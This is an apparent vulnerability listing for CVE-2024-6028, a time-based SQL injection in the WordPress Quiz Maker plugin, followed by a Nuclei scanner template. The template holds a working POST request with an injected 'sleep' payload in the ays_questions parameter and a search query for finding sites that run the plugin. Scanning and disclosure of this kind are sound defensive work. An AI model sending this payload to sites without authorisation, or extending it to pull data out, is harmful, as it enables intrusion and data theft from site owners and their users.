The Quiz Maker plugin for WordPress is vulnerable to time-based SQL Injection via the 'ays_questions' parameter in all versions up to, and including, 6.5.8.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
PoC代码[已公开]
id: CVE-2024-6028
info:
name: Quiz Maker <= 6.5.8.3 - SQL Injection
author: s4e-io
severity: critical
description: |
The Quiz Maker plugin for WordPress is vulnerable to time-based SQL Injection via the 'ays_questions' parameter in all versions up to, and including, 6.5.8.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
remediation: Fixed in 6.5.8.4
reference:
- https://github.com/truonghuuphuc/CVE-2024-6028-Poc
- https://nvd.nist.gov/vuln/detail/CVE-2024-6028
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-6028
cwe-id: CWE-89
epss-score: 0.82996
epss-percentile: 0.99214
cpe: cpe:2.3:a:ays-pro:quiz_maker:*:*:*:*:wordpress:*:*:*
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/quiz-maker/"
product: quiz_maker
vendor: ays-pro
tags: time-based-sqli,cve,cve2024,wordpress,wp,wp-plugin,quiz-maker,sqli
http:
- raw:
- |
@timeout: 25s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
ays_quiz_id=1&ays_quiz_questions=1,2,3&quiz_id=1&ays_questions[ays-question-4)+or+sleep(if(1>0,6,0)]=&action=ays_finish_quiz
matchers:
- type: dsl
dsl:
- "duration>=6"
- "status_code == 200"
- 'contains_all(body,"status\":","scoreMessage","displayScore")'
condition: and
# digest: 4b0a004830460221008fa655f209ce12434c2b87f49c9e9889f55fc4625b474fab6146d00ed33c79b802210088f69068a699317b7268dd590444f2ce855ed2faf94f1cef09b56c1875d066df:922c64590222798bb761d5b6d8e72950